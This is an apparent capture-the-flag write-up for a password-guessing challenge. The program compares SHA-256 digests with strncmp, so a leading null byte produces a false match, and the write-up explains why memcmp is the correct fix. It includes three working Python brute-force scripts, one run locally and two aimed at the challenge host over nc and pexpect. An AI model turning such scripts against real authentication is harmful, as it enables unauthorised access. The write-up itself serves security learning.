This is not password cracking. No hydra, no john, no wordlist. The target compares two SHA-256 digests with the wrong function, and that single mistake hands over the flag.

Guess Password Easy challenge overview

Identifying the target

Unzip the attachment:

┌──(jenn㉿blackboxjenn)-[~/Downloads]
└─$ unzip d28ab559[...].zip

Inside is guess_password_easy.c. The extension says C, the code says C++. The fingerprints are #include <iostream>, using namespace std, and the string, cout, and cin objects. So it compiles with g++, not gcc:

┌──(jenn㉿blackboxjenn)-[~/Downloads]
└─$ g++ guess_password_easy.c -lcrypto -o guess_password_easy

If Kali complains about missing OpenSSL headers, install libssl-dev:

sudo apt install libssl-dev

The behavior

Run it and the password regenerates every loop:

Password is bkfzp...............
Your guess: bkfzpvjdaudmakosjdka
Wrong! Try again in a second...
Password is xfgzf...............
Your guess:

There is no stored password to recover and no reusable hash to attack. The interesting part is how the program checks the guess.


The bug

The program hashes both the server password and the guess with SHA-256, then compares the two digests:

strncmp(serverPasswordHash, userPasswordHash, SHA256_DIGEST_LENGTH)

The source comment even warns against strcmp because the buffers are not null-terminated. They reached for strncmp instead. Both are string functions, and SHA-256 digests are raw bytes that can contain a 00. In C string logic, 00 means end of string, so strncmp stops comparing at the first null byte. If the server digest and the guess digest both begin with 00, strncmp compares zero meaningful bytes and reports a match.

memcmp would have been correct. It compares raw bytes regardless of nulls.

The odds: a guess whose hash starts with 00 only collides when the server’s random hash also starts with 00 on that same round. Roughly 1 in 256 per attempt. Tedious by hand, trivial to automate.


Proving it by hand

Before automating anything, I confirmed the bug by hand. A short Python helper generates candidate strings whose SHA-256 digest starts with a null byte, and feeding those into the running binary shows the collision logic holds.

manual proof of null-byte collision in terminal

Three ways in

The bug is simple, so I solved it three ways, escalating from a safe local proof to the fastest live session. Each one is on the Scripts page.

Solve 1: local black box (zero_zero_generator.py)

Treat the compiled binary as an opaque program. Generate a candidate whose SHA-256 digest starts with a null byte, launch the local binary, send the candidate, read the result, repeat. No source modification, no live host.

zero_zero_generator.py running against local binary
import hashlib
import random
import string
import subprocess

while True:
    while True:
        s = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
        h = hashlib.sha256(s.encode()).digest()
        if h[0] == 0:
            break

    try:
        p = subprocess.run(
            ["./guess_password_easy"],
            input=s + "\n",
            text=True,
            capture_output=True,
            timeout=2
        )
        print(p.stdout)
        if "flag" in p.stdout.lower():
            break
    except subprocess.TimeoutExpired:
        print(f"Timed out on: {s}")

Run against the local binary, it reaches the program’s system("cat /flag") line. There is no /flag on the Kali box, so nothing prints, but reaching that line at all means the comparison was bypassed.

Solve 2: live, fresh connection per attempt (shapexpect_lite.py)

The first live solve. Opens a new nc connection to the challenge host for each attempt. It works, just less efficient because every guess pays the cost of a fresh connection.

shapexpect_lite.py connecting live per attempt
import hashlib
import random
import string
import subprocess

HOST = "guess-password-easy.2025-bq.ctfcompetition.com"
PORT = "1337"

def make_zero_hash_input():
    while True:
        s = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
        h = hashlib.sha256(s.encode()).digest()
        if h[0] == 0:
            return s

while True:
    guess = make_zero_hash_input()
    try:
        p = subprocess.run(
            ["nc", HOST, PORT],
            input=guess + "\n",
            text=True,
            capture_output=True,
            timeout=3
        )
        output = p.stdout + p.stderr
        print(output)
        if "CTF{" in output:
            print("FLAG FOUND")
            break
    except subprocess.TimeoutExpired:
        print(f"Timed out on: {guess}")

Solve 3: live, persistent session (shapexpect.py)

The fastest of the three. pexpect holds a single session open and feeds guesses like a human instead of reconnecting every attempt. This is the version that captured the flag. Below it spawns the local binary; the live solve swaps that one line to nc HOST PORT, the same trick that later carried it through the Hard challenge.

shapexpect.py holding a persistent pexpect session
import hashlib
import random
import string
import pexpect

def make_zero_hash_input():
    while True:
        s = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
        h = hashlib.sha256(s.encode()).digest()
        if h[0] == 0:
            return s

child = pexpect.spawn("./guess_password_easy", encoding="utf-8", timeout=5)

attempts = 0

while True:
    child.expect("Your guess:")

    guess = make_zero_hash_input()
    attempts += 1

    print(f"[{attempts}] trying: {guess}")

    child.sendline(guess)

    output = child.expect([
        "Wrong! Try again in a second...",
        pexpect.EOF,
        pexpect.TIMEOUT
    ])

    if output == 1:
        print(child.before)
        print("Process ended.")
        break

    if output == 2:
        print("Timed out.")
        print(child.before)
        break

    if "flag" in child.before.lower():
        print(child.before)
        break

Run it locally first and it proves out: the binary reaches cat /flag, which fails only because there is no local flag.

shapexpect.py local run reaching cat /flag

Then point the spawn at the live host. Be patient, go get some sunshine.

shapexpect.py running against the live challenge host

Flag:

CTF{Did_y0u_h4v3_4_gr347_7im3_l00king_f0r_7h3_s33d?}
flag captured in terminal

Three approaches, one bug, same null-byte collision underneath each. Kingpin behavior.


Full Attack Chain

# Identify and compile (C++ despite the .c extension)
unzip CHALLENGE_ATTACHMENT.zip
g++ guess_password_easy.c -lcrypto -o guess_password_easy

# Confirm behavior: password regenerates every loop, no crackable target
./guess_password_easy

# Bug: strncmp on raw SHA-256 digests treats a 00 byte as end-of-string
# Exploit: submit guesses whose SHA-256 digest begins with 0x00 until the
# server's random digest also begins with 0x00 on the same round (~1/256)

# Solve 1: local black box, relaunch the binary per attempt
python3 zero_zero_generator.py

# Solve 2: live, fresh nc connection per attempt
python3 shapexpect_lite.py

# Solve 3: live, persistent pexpect session (spawn swapped to nc HOST PORT) -- fastest
python3 shapexpect.py
# Flag captured against the live host